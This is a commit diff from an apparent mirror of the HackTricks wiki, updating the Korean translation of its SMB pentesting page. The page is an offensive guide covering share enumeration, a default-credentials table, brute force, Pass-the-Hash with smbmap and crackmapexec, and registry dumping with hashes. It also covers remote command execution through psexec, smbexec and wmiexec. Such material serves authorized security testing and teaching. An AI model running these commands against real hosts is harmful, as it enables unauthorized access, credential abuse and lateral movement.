mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/pentesting-smb/ksmbd-attack
This commit is contained in:
		
							parent
							
								
									9bcf73ce8b
								
							
						
					
					
						commit
						f8878aa9b6
					
				| @ -494,6 +494,7 @@ | ||||
| - [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md) | ||||
| - [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md) | ||||
| - [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md) | ||||
|   - [Ksmbd Attack Surface And Fuzzing Syzkaller](network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md) | ||||
|   - [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md) | ||||
| - [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md) | ||||
| - [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md) | ||||
|  | ||||
| @ -2,45 +2,46 @@ | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## **Port 139** | ||||
| ## **포트 139** | ||||
| 
 | ||||
| _**네트워크 기본 입출력 시스템**_** (NetBIOS)**는 로컬 영역 네트워크(LAN) 내의 애플리케이션, PC 및 데스크탑이 네트워크 하드웨어와 상호 작용하고 **네트워크를 통한 데이터 전송을 용이하게 하기 위해 설계된 소프트웨어 프로토콜**입니다. NetBIOS 네트워크에서 작동하는 소프트웨어 애플리케이션의 식별 및 위치는 최대 16자 길이의 NetBIOS 이름을 통해 이루어지며, 이는 종종 컴퓨터 이름과 다릅니다. 두 애플리케이션 간의 NetBIOS 세션은 한 애플리케이션(클라이언트 역할)이 **TCP 포트 139**를 사용하여 다른 애플리케이션(서버 역할)을 "호출"하는 명령을 발행할 때 시작됩니다. | ||||
| _**Network Basic Input Output System**_** (NetBIOS)** 은 로컬 영역 네트워크(LAN) 내의 애플리케이션, PC 및 데스크톱이 네트워크 하드웨어와 상호작용하고 **네트워크 상에서의 데이터 전송을 용이하게 합니다**. NetBIOS 네트워크에서 동작하는 소프트웨어 애플리케이션의 식별 및 위치 확인은 이들의 NetBIOS 이름을 통해 이루어지며, 이 이름은 최대 16자까지 가능하고 종종 컴퓨터 이름과 다릅니다. 두 애플리케이션 간의 NetBIOS 세션은 한 애플리케이션(클라이언트로 동작)이 다른 애플리케이션(서버로 동작)에 "call" 명령을 발행하여 **TCP Port 139** 를 이용할 때 시작됩니다. | ||||
| ``` | ||||
| 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn | ||||
| ``` | ||||
| ## Port 445 | ||||
| 
 | ||||
| 기술적으로, 포트 139는 ‘NBT over IP’로 언급되며, 포트 445는 ‘SMB over IP’로 식별됩니다. 약어 **SMB**는 ‘**Server Message Blocks**’를 의미하며, 현대적으로는 **Common Internet File System (CIFS)**로 알려져 있습니다. 애플리케이션 계층 네트워크 프로토콜로서, SMB/CIFS는 주로 파일, 프린터, 직렬 포트에 대한 공유 액세스를 가능하게 하고, 네트워크의 노드 간 다양한 형태의 통신을 촉진하는 데 사용됩니다. | ||||
| 기술적으로 Port 139은 ‘NBT over IP’로 불리고, 반면 Port 445는 ‘SMB over IP’로 식별됩니다. 약어 **SMB**는 ‘**Server Message Blocks**’를 뜻하며, 현대에는 **Common Internet File System (CIFS)**로도 알려져 있습니다. 애플리케이션 계층의 네트워크 프로토콜인 SMB/CIFS는 주로 파일, 프린터, 직렬 포트에 대한 공유 액세스를 가능하게 하고 네트워크 상의 노드들 간의 다양한 형태의 통신을 촉진하는 데 사용됩니다. | ||||
| 
 | ||||
| 예를 들어, Windows의 맥락에서 SMB는 TCP/IP를 통해 직접 작동할 수 있으며, 포트 445를 사용하여 TCP/IP를 통한 NetBIOS의 필요성을 제거합니다. 반대로, 다른 시스템에서는 포트 139의 사용이 관찰되며, 이는 SMB가 TCP/IP를 통한 NetBIOS와 함께 실행되고 있음을 나타냅니다. | ||||
| 예를 들어 Windows 환경에서는 SMB가 port 445를 통해 NetBIOS over TCP/IP 없이 직접 TCP/IP 위에서 동작할 수 있음이 강조됩니다. 반대로 다른 시스템에서는 port 139를 사용하는 경우가 관찰되며, 이는 SMB가 NetBIOS over TCP/IP와 함께 실행되고 있음을 나타냅니다. | ||||
| ``` | ||||
| 445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) | ||||
| ``` | ||||
| ### SMB | ||||
| 
 | ||||
| **서버 메시지 블록 (SMB)** 프로토콜은 **클라이언트-서버** 모델에서 작동하며, **파일**, 디렉토리 및 프린터와 라우터와 같은 기타 네트워크 리소스에 대한 **접근**을 규제하기 위해 설계되었습니다. 주로 **Windows** 운영 체제 시리즈 내에서 사용되며, SMB는 하위 호환성을 보장하여 Microsoft의 최신 운영 체제를 실행하는 장치가 이전 버전을 실행하는 장치와 원활하게 상호 작용할 수 있도록 합니다. 또한, **Samba** 프로젝트는 SMB를 **Linux** 및 Unix 시스템에서 구현할 수 있는 무료 소프트웨어 솔루션을 제공하여 SMB를 통한 크로스 플랫폼 통신을 촉진합니다. | ||||
| The **Server Message Block (SMB)** 프로토콜은 **client-server** 모델로 동작하며 **access to files**, 디렉터리 및 프린터나 라우터와 같은 다른 네트워크 자원에 대한 접근을 규제하도록 설계되어 있습니다. 주로 **Windows** 계열 운영체제에서 사용되며, SMB는 하위 호환성을 제공하여 최신 버전의 Microsoft 운영체제를 사용하는 장치가 구버전 운영체제를 실행하는 장치와 원활하게 상호작용할 수 있게 합니다. 또한 **Samba** 프로젝트는 무료 소프트웨어 솔루션을 제공하여 **Linux** 및 **Unix** 시스템에서 SMB를 구현할 수 있게 하며, 이를 통해 플랫폼 간 SMB 통신이 가능합니다. | ||||
| 
 | ||||
| SMB 서버는 **로컬 파일 시스템의 임의 부분**을 나타내는 공유를 제공할 수 있으며, 클라이언트에게 서버의 실제 구조와 부분적으로 **독립적인** 계층을 보여줍니다. **접근 제어 목록 (ACLs)**은 **접근 권한**을 정의하며, **`execute`**, **`read`**, **`full access`**와 같은 속성을 포함하여 사용자 권한에 대한 **세밀한 제어**를 허용합니다. 이러한 권한은 공유를 기반으로 개별 사용자 또는 그룹에 할당될 수 있으며, 서버에서 설정된 로컬 권한과는 다릅니다. | ||||
| Shares는 **arbitrary parts of the local file system**를 나타내며 SMB 서버가 이를 제공할 수 있어 클라이언트에 표시되는 계층 구조가 서버의 실제 구조와 일부 **independent**할 수 있습니다. **Access Control Lists (ACLs)**는 **access rights**를 정의하며 사용자 권한을 **fine-grained control**로 세밀하게 제어할 수 있게 해주며, 여기에는 **`execute`**, **`read`**, **`full access`** 같은 속성이 포함됩니다. 이러한 권한은 Shares를 기준으로 개별 사용자 또는 그룹에 할당될 수 있으며 서버에 설정된 로컬 권한과는 별개입니다. | ||||
| 
 | ||||
| ### IPC$ Share | ||||
| 
 | ||||
| IPC$ 공유에 대한 접근은 익명 널 세션을 통해 얻을 수 있으며, 명명된 파이프를 통해 노출된 서비스와 상호 작용할 수 있습니다. 이 목적을 위해 `enum4linux` 유틸리티가 유용합니다. 적절히 사용하면 다음을 획득할 수 있습니다: | ||||
| IPC$ share에 대한 접근은 익명 null session을 통해 얻을 수 있으며, 이를 통해 named pipes로 노출된 서비스와 상호작용할 수 있습니다. 이 목적에는 유틸리티 `enum4linux`가 유용합니다. 적절히 사용하면 다음을 획득할 수 있습니다: | ||||
| 
 | ||||
| - 운영 체제에 대한 정보 | ||||
| - 상위 도메인에 대한 세부 정보 | ||||
| - 로컬 사용자 및 그룹의 목록 | ||||
| - 사용 가능한 SMB 공유에 대한 정보 | ||||
| - 효과적인 시스템 보안 정책 | ||||
| - 로컬 사용자 및 그룹 목록 | ||||
| - 사용 가능한 SMB shares에 대한 정보 | ||||
| - 적용 중인 시스템 보안 정책 | ||||
| 
 | ||||
| 이 기능은 네트워크 관리자가 SMB (서버 메시지 블록) 서비스의 보안 상태를 평가하는 데 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경에 대한 포괄적인 뷰를 제공하며, 이는 잠재적인 취약점을 식별하고 SMB 서비스가 적절하게 보호되고 있는지 확인하는 데 필수적입니다. | ||||
| 이 기능은 네트워크 관리자와 보안 전문가가 네트워크상의 SMB (Server Message Block) 서비스의 보안 상태를 평가하는 데 매우 중요합니다. `enum4linux`는 대상 시스템의 SMB 환경을 포괄적으로 보여주어 잠재적 취약점을 식별하고 SMB 서비스가 적절히 보호되고 있는지 확인하는 데 필수적입니다. | ||||
| ```bash | ||||
| enum4linux -a target_ip | ||||
| ``` | ||||
| 위의 명령은 `enum4linux`가 `target_ip`로 지정된 대상을 대상으로 전체 열거를 수행하는 방법의 예입니다. | ||||
| 위 명령은 `enum4linux`가 `target_ip`로 지정된 대상에 대해 전체 열거를 수행하는 방법의 예시입니다. | ||||
| 
 | ||||
| ## NTLM이란 | ||||
| ## NTLM이란 무엇인가 | ||||
| 
 | ||||
| NTLM이 무엇인지 모르거나 작동 방식과 악용 방법을 알고 싶다면, **NTLM**에 관한 다음 페이지가 매우 흥미로울 것이며 이 프로토콜이 어떻게 동작하는지와 이를 어떻게 활용할 수 있는지가 설명되어 있습니다: | ||||
| 
 | ||||
| NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 어떻게 악용할 수 있는지 알고 싶다면, **NTLM**에 대한 이 페이지가 매우 흥미로울 것입니다. 여기에서는 **이 프로토콜이 어떻게 작동하는지와 이를 어떻게 활용할 수 있는지**에 대해 설명합니다: | ||||
| 
 | ||||
| {{#ref}} | ||||
| ../../windows-hardening/ntlm/ | ||||
| @ -48,15 +49,15 @@ NTLM이 무엇인지 모르거나 그것이 어떻게 작동하는지, 어떻게 | ||||
| 
 | ||||
| ## **서버 열거** | ||||
| 
 | ||||
| ### **호스트**를 검색하여 네트워크 스캔: | ||||
| ### **Scan** 네트워크에서 호스트를 검색: | ||||
| ```bash | ||||
| nbtscan -r 192.168.0.1/24 | ||||
| ``` | ||||
| ### SMB 서버 버전 | ||||
| 
 | ||||
| SMB 버전의 가능한 취약점을 찾으려면 어떤 버전이 사용되고 있는지 아는 것이 중요합니다. 이 정보가 다른 사용된 도구에 나타나지 않는 경우, 다음을 사용할 수 있습니다: | ||||
| SMB 버전의 가능한 exploit을 찾으려면 사용 중인 버전을 아는 것이 중요합니다. 이 정보가 다른 도구에 나타나지 않는다면, 다음을 사용할 수 있습니다: | ||||
| 
 | ||||
| - **MSF** 보조 모듈 `**auxiliary/scanner/smb/smb_version**` | ||||
| - Use the **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` | ||||
| - 또는 이 스크립트: | ||||
| ```bash | ||||
| #!/bin/sh | ||||
| @ -74,14 +75,14 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i | ||||
| echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null | ||||
| echo "" && sleep .1 | ||||
| ``` | ||||
| ### **검색 취약점** | ||||
| ### **검색 exploit** | ||||
| ```bash | ||||
| msf> search type:exploit platform:windows target:2008 smb | ||||
| searchsploit microsoft smb | ||||
| ``` | ||||
| ### **가능한** 자격 증명 | ||||
| 
 | ||||
| | **사용자 이름**      | **일반 비밀번호**                      | | ||||
| | **사용자명(들)**      | **일반 비밀번호**                      | | ||||
| | -------------------- | ----------------------------------------- | | ||||
| | _(빈칸)_            | _(빈칸)_                                 | | ||||
| | guest                | _(빈칸)_                                 | | ||||
| @ -91,13 +92,13 @@ searchsploit microsoft smb | ||||
| | backupexec, backup   | backupexec, backup, arcada                | | ||||
| | test, lab, demo      | password, test, lab, demo                 | | ||||
| 
 | ||||
| ### 무차별 대입 공격 | ||||
| ### Brute Force | ||||
| 
 | ||||
| - [**SMB 무차별 대입 공격**](../../generic-hacking/brute-force.md#smb) | ||||
| - [**SMB Brute Force**](../../generic-hacking/brute-force.md#smb) | ||||
| 
 | ||||
| ### SMB 환경 정보 | ||||
| 
 | ||||
| ### 정보 획득 | ||||
| ### 정보 수집 | ||||
| ```bash | ||||
| #Dump interesting information | ||||
| enum4linux -a [-u "<username>" -p "<passwd>"] <IP> | ||||
| @ -121,7 +122,7 @@ rpcclient -U "username%passwd" <IP> #With creds | ||||
| ``` | ||||
| ### 사용자, 그룹 및 로그인한 사용자 열거 | ||||
| 
 | ||||
| 이 정보는 이미 enum4linux 및 enum4linux-ng에서 수집되어야 합니다. | ||||
| 이 정보는 enum4linux 및 enum4linux-ng에서 이미 수집되었을 것입니다. | ||||
| ```bash | ||||
| crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>] | ||||
| crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>] | ||||
| @ -133,7 +134,7 @@ rpcclient -U "" -N 10.10.10.10 | ||||
| enumdomusers | ||||
| enumdomgroups | ||||
| ``` | ||||
| ### 로컬 사용자 나열 | ||||
| ### 로컬 사용자 열거 | ||||
| 
 | ||||
| [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) | ||||
| ```bash | ||||
| @ -149,14 +150,14 @@ use auxiliary/scanner/smb/smb_lookupsid | ||||
| set rhosts hostname.local | ||||
| run | ||||
| ``` | ||||
| ### **LSARPC 및 SAMR rpcclient 열거하기** | ||||
| ### **LSARPC 및 SAMR rpcclient 열거** | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| rpcclient-enumeration.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ### 리눅스에서 GUI 연결 | ||||
| ### GUI 연결 (linux에서) | ||||
| 
 | ||||
| #### 터미널에서: | ||||
| 
 | ||||
| @ -166,11 +167,11 @@ rpcclient-enumeration.md | ||||
| 
 | ||||
| `smb://friendzone.htb/general/` | ||||
| 
 | ||||
| ## 공유 폴더 열거하기 | ||||
| ## 공유 폴더 열거 | ||||
| 
 | ||||
| ### 공유 폴더 목록 | ||||
| 
 | ||||
| 항상 접근할 수 있는지 확인하는 것이 좋습니다. 자격 증명이 없는 경우 **null** **자격 증명/게스트 사용자**를 사용해 보십시오. | ||||
| 항상 접근 가능한 항목이 있는지 확인하는 것이 좋습니다. credentials가 없다면 **null** **credentials/guest user**를 사용해 보세요. | ||||
| ```bash | ||||
| smbclient --no-pass -L //<IP> # Null user | ||||
| smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash | ||||
| @ -196,11 +197,12 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive | ||||
| smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list | ||||
| smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash | ||||
| ``` | ||||
| ### **수동으로 윈도우 공유를 열거하고 연결하기** | ||||
| ### **수동으로 windows 공유를 열거하고 연결하기** | ||||
| 
 | ||||
| 호스트 머신의 공유를 표시하는 데 제한이 있을 수 있으며, 이를 나열하려고 할 때 연결할 수 있는 공유가 없는 것처럼 보일 수 있습니다. 따라서 공유에 수동으로 연결해 보려는 시도가 가치가 있을 수 있습니다. 공유를 수동으로 열거하려면 유효한 세션(예: null 세션 또는 유효한 자격 증명)을 사용할 때 NT_STATUS_ACCESS_DENIED 및 NT_STATUS_BAD_NETWORK_NAME와 같은 응답을 찾아보는 것이 좋습니다. 이는 공유가 존재하지만 접근할 수 없거나 공유가 전혀 존재하지 않음을 나타낼 수 있습니다. | ||||
| 호스트 머신의 공유 조회가 제한되어 있어 목록을 시도할 때 연결 가능한 공유가 전혀 없는 것처럼 보일 수 있습니다. 따라서 수동으로 공유에 연결을 시도해보는 것이 좋습니다.   | ||||
| 공유를 수동으로 열거하려면 유효한 세션(예: null session 또는 유효한 자격 증명)을 사용할 때 NT_STATUS_ACCESS_DENIED나 NT_STATUS_BAD_NETWORK_NAME 같은 응답을 확인해보세요. 이러한 응답은 해당 공유가 존재하지만 접근 권한이 없음을 나타내거나, 공유 자체가 존재하지 않음을 나타낼 수 있습니다. | ||||
| 
 | ||||
| 윈도우 타겟의 일반적인 공유 이름은 다음과 같습니다. | ||||
| windows 대상에서 흔한 공유 이름은 다음과 같습니다 | ||||
| 
 | ||||
| - C$ | ||||
| - D$ | ||||
| @ -211,14 +213,14 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t | ||||
| - SYSVOL | ||||
| - NETLOGON | ||||
| 
 | ||||
| (_**Network Security Assessment 3rd edition**_의 일반적인 공유 이름) | ||||
| (일반적인 공유 이름 — _**Network Security Assessment 3rd edition**_에서 발췌) | ||||
| 
 | ||||
| 다음 명령어를 사용하여 이들에 연결해 볼 수 있습니다. | ||||
| 다음 명령을 사용해 해당 공유에 연결을 시도할 수 있습니다 | ||||
| ```bash | ||||
| smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share | ||||
| smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password) | ||||
| ``` | ||||
| 이 스크립트(널 세션 사용) | ||||
| 또는 이 스크립트 (null session을 사용하여) | ||||
| ```bash | ||||
| #/bin/bash | ||||
| 
 | ||||
| @ -240,7 +242,7 @@ done | ||||
| smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME | ||||
| smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session | ||||
| ``` | ||||
| ### **Windows에서 공유를 나열하기 / 서드파티 도구 없이** | ||||
| ### **Windows에서 shares 열거하기 / 서드파티 도구 없이** | ||||
| 
 | ||||
| PowerShell | ||||
| ```bash | ||||
| @ -259,14 +261,14 @@ net share | ||||
| # List shares on a remote computer (including hidden ones) | ||||
| net view \\<ip> /all | ||||
| ``` | ||||
| MMC 스냅인 (그래픽) | ||||
| MMC Snap-in (그래픽 인터페이스) | ||||
| ```shell | ||||
| # Shared Folders: Shared Folders > Shares | ||||
| fsmgmt.msc | ||||
| # Computer Management: Computer Management > System Tools > Shared Folders > Shares | ||||
| compmgmt.msc | ||||
| ``` | ||||
| explorer.exe (그래픽), `\\<ip>\`를 입력하여 사용 가능한 비공유 폴더를 확인합니다. | ||||
| explorer.exe (그래픽 인터페이스)에서 `\\<ip>\` 를 입력하면 사용 가능한 숨김이 아닌 공유를 볼 수 있습니다. | ||||
| 
 | ||||
| ### 공유 폴더 마운트 | ||||
| ```bash | ||||
| @ -275,7 +277,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share | ||||
| ``` | ||||
| ### **파일 다운로드** | ||||
| 
 | ||||
| 자격 증명/Pass-the-Hash로 연결하는 방법을 배우려면 이전 섹션을 읽으십시오. | ||||
| 이전 섹션을 읽어 credentials/Pass-the-Hash로 연결하는 방법을 배우세요. | ||||
| ```bash | ||||
| #Search a file and download | ||||
| sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap | ||||
| @ -292,12 +294,12 @@ smbclient //<IP>/<share> | ||||
| ``` | ||||
| 명령어: | ||||
| 
 | ||||
| - mask: 디렉토리 내 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (예: ""는 모든 파일) | ||||
| - recurse: 재귀를 켭니다 (기본값: 꺼짐) | ||||
| - prompt: 파일 이름에 대한 프롬프트를 끕니다 (기본값: 켜짐) | ||||
| - mget: 호스트에서 클라이언트 머신으로 마스크와 일치하는 모든 파일을 복사합니다 | ||||
| - mask: 디렉터리 내 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (예: "" 는 모든 파일) | ||||
| - recurse: 재귀 검색을 켜거나 끕니다 (기본값: 꺼짐) | ||||
| - prompt: 파일명에 대한 프롬프트를 비활성화합니다 (기본값: 켜짐) | ||||
| - mget: 마스크와 일치하는 모든 파일을 호스트에서 클라이언트로 복사합니다 | ||||
| 
 | ||||
| (_smbclient의 매뉴얼 페이지에서 정보_) | ||||
| (_smbclient의 manpage에서 가져온 정보_) | ||||
| 
 | ||||
| ### 도메인 공유 폴더 검색 | ||||
| 
 | ||||
| @ -305,21 +307,21 @@ smbclient //<IP>/<share> | ||||
| ```bash | ||||
| Snaffler.exe -s -d domain.local -o snaffler.log -v data | ||||
| ``` | ||||
| - [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 스파이더. | ||||
| - [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider. | ||||
| - `-M spider_plus [--share <share_name>]` | ||||
| - `--pattern txt` | ||||
| ```bash | ||||
| sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' | ||||
| ``` | ||||
| 특히 흥미로운 공유 파일은 **`Registry.xml`**로, 이는 **autologon**으로 구성된 사용자에 대한 비밀번호를 포함할 수 있습니다. 또는 **`web.config`** 파일은 자격 증명을 포함하고 있습니다. | ||||
| Specially interesting from shares are the files called **`Registry.xml`** as they **passwords를 포함하고 있을 수 있습니다** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains **credentials**. | ||||
| 
 | ||||
| > [!TIP] | ||||
| > **SYSVOL 공유**는 도메인 내 모든 인증된 사용자가 **읽을 수 있습니다**. 그 안에는 다양한 배치, VBScript 및 PowerShell **스크립트**가 있을 수 있습니다.\ | ||||
| > 그 안의 **스크립트**를 **확인**해야 하며, **비밀번호**와 같은 민감한 정보를 **찾을 수** 있습니다. | ||||
| > The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\ | ||||
| > You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**. | ||||
| 
 | ||||
| ## 레지스트리 읽기 | ||||
| 
 | ||||
| 발견된 자격 증명을 사용하여 **레지스트리**를 **읽을 수** 있습니다. Impacket **`reg.py`**를 사용하여 시도할 수 있습니다: | ||||
| You may be able to **레지스트리 읽기** using some discovered **credentials**. Impacket **`reg.py`** allows you to try: | ||||
| ```bash | ||||
| sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s | ||||
| sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s | ||||
| @ -327,26 +329,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 | ||||
| ``` | ||||
| ## Post Exploitation | ||||
| 
 | ||||
| **Samba** 서버의 **기본 구성**은 일반적으로 `/etc/samba/smb.conf`에 위치하며, 몇 가지 **위험한 구성**이 있을 수 있습니다: | ||||
| **기본 설정 파일**은 **Samba** 서버에서 보통 `/etc/samba/smb.conf`에 위치하며 몇 가지 **위험한 설정**이 있을 수 있습니다: | ||||
| 
 | ||||
| | **설정**                     | **설명**                                                         | | ||||
| | --------------------------- | --------------------------------------------------------------- | | ||||
| | `browseable = yes`          | 현재 공유에서 사용 가능한 공유 목록을 허용합니까?                | | ||||
| | `read only = no`            | 파일의 생성 및 수정을 금지합니까?                               | | ||||
| | `writable = yes`            | 사용자가 파일을 생성하고 수정할 수 있도록 허용합니까?           | | ||||
| | `guest ok = yes`            | 비밀번호 없이 서비스에 연결할 수 있도록 허용합니까?              | | ||||
| | `enable privileges = yes`   | 특정 SID에 할당된 권한을 존중합니까?                            | | ||||
| | `create mask = 0777`        | 새로 생성된 파일에 어떤 권한이 할당되어야 합니까?               | | ||||
| | `directory mask = 0777`     | 새로 생성된 디렉토리에 어떤 권한이 할당되어야 합니까?           | | ||||
| | `logon script = script.sh`  | 사용자의 로그인 시 실행해야 하는 스크립트는 무엇입니까?        | | ||||
| | `magic script = script.sh`  | 스크립트가 종료될 때 실행해야 하는 스크립트는 무엇입니까?      | | ||||
| | `magic output = script.out` | 마법 스크립트의 출력이 저장되어야 하는 위치는 어디입니까?      | | ||||
| | **설정**                    | **설명**                                                            | | ||||
| | --------------------------- | ------------------------------------------------------------------- | | ||||
| | `browseable = yes`          | 현재 서버에서 사용 가능한 공유를 나열할 수 있게 허용합니까?          | | ||||
| | `read only = no`            | 파일 생성 및 수정을 금지합니까?                                     | | ||||
| | `writable = yes`            | 사용자가 파일을 생성하고 수정할 수 있게 허용합니까?                 | | ||||
| | `guest ok = yes`            | 비밀번호 없이 서비스에 연결할 수 있게 허용합니까?                   | | ||||
| | `enable privileges = yes`   | 특정 SID에 할당된 권한을 적용합니까?                                | | ||||
| | `create mask = 0777`        | 새로 생성된 파일에 어떤 권한이 부여되어야 합니까?                   | | ||||
| | `directory mask = 0777`     | 새로 생성된 디렉터리에 어떤 권한이 부여되어야 합니까?               | | ||||
| | `logon script = script.sh`  | 사용자 로그인 시 어떤 스크립트가 실행되어야 합니까?                 | | ||||
| | `magic script = script.sh`  | 스크립트가 종료될 때 어떤 스크립트를 실행해야 합니까?               | | ||||
| | `magic output = script.out` | magic script의 출력은 어디에 저장되어야 합니까?                    | | ||||
| 
 | ||||
| `smbstatus` 명령은 **서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다. | ||||
| 명령어 `smbstatus`는 **서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다. | ||||
| 
 | ||||
| ## Authenticate using Kerberos | ||||
| ## Kerberos를 사용한 인증 | ||||
| 
 | ||||
| **smbclient** 및 **rpcclient** 도구를 사용하여 **kerberos**에 **인증**할 수 있습니다: | ||||
| 도구 **smbclient**와 **rpcclient**를 사용하여 **Kerberos**에 **인증**할 수 있습니다: | ||||
| ```bash | ||||
| smbclient --kerberos //ws01win10.domain.com/C$ | ||||
| rpcclient -k ws01win10.domain.com | ||||
| @ -355,7 +357,7 @@ rpcclient -k ws01win10.domain.com | ||||
| 
 | ||||
| ### **crackmapexec** | ||||
| 
 | ||||
| crackmapexec는 **wmiexec**가 **기본** 방법인 **mmcexec, smbexec, atexec, wmiexec**를 **악용하여** 명령을 실행할 수 있습니다. 사용할 옵션을 `--exec-method` 매개변수로 지정할 수 있습니다: | ||||
| crackmapexec는 **mmcexec, smbexec, atexec, wmiexec** 중 어느 것을 **악용하여** 명령을 실행할 수 있으며, **기본** 방법은 **wmiexec**입니다. 사용할 옵션은 `--exec-method` 파라미터로 지정할 수 있습니다: | ||||
| ```bash | ||||
| apt-get install crackmapexec | ||||
| 
 | ||||
| @ -379,9 +381,9 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash | ||||
| ``` | ||||
| ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) | ||||
| 
 | ||||
| 두 옵션 모두 **새 서비스를 생성**합니다 (_\pipe\svcctl_을 사용하여 SMB를 통해) 피해자 머신에서 이를 사용하여 **무언가를 실행**합니다 (**psexec**는 **실행 파일을 ADMIN$ 공유에 업로드**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수에 페이로드를 넣습니다 --**파일 없는 기법-**-).\ | ||||
| **자세한 정보**는 [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)와 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)를 참조하십시오.\ | ||||
| **kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다. | ||||
| 두 옵션 모두 대상 시스템에 **새 서비스를 생성**(SMB를 통해 _\pipe\svcctl_ 사용)하고 이를 이용해 **무언가를 실행**합니다 (**psexec**는 실행 파일을 ADMIN$ 공유에 **upload**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수(arguments)에 payload를 넣습니다 --**file-less technique**--).\ | ||||
| **자세한 정보**: [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md) 및 [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ | ||||
| **kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다. | ||||
| ```bash | ||||
| #If no password is provided, it will be prompted | ||||
| ./psexec.py [[domain/]username[:password]@]<targetName or address> | ||||
| @ -393,15 +395,15 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass | ||||
| 
 | ||||
| ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec | ||||
| 
 | ||||
| 디스크를 건드리거나 새로운 서비스를 실행하지 않고 **포트 135**를 통해 DCOM을 사용하여 명령 셸을 은밀하게 실행합니다.\ | ||||
| **kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다. | ||||
| 디스크를 건드리거나 새로운 서비스를 실행하지 않고 DCOM을 통해 **port 135.**로 은밀하게 명령 셸을 실행합니다.\ | ||||
| **kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치합니다. | ||||
| ```bash | ||||
| #If no password is provided, it will be prompted | ||||
| ./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password | ||||
| ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash | ||||
| #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted | ||||
| ``` | ||||
| **매개변수**`-k`를 사용하면 **NTLM** 대신 **kerberos**에 대해 인증할 수 있습니다. | ||||
| **parameter**`-k`를 사용하면 **NTLM** 대신 **kerberos**로 인증할 수 있습니다. | ||||
| ```bash | ||||
| #If no password is provided, it will be prompted | ||||
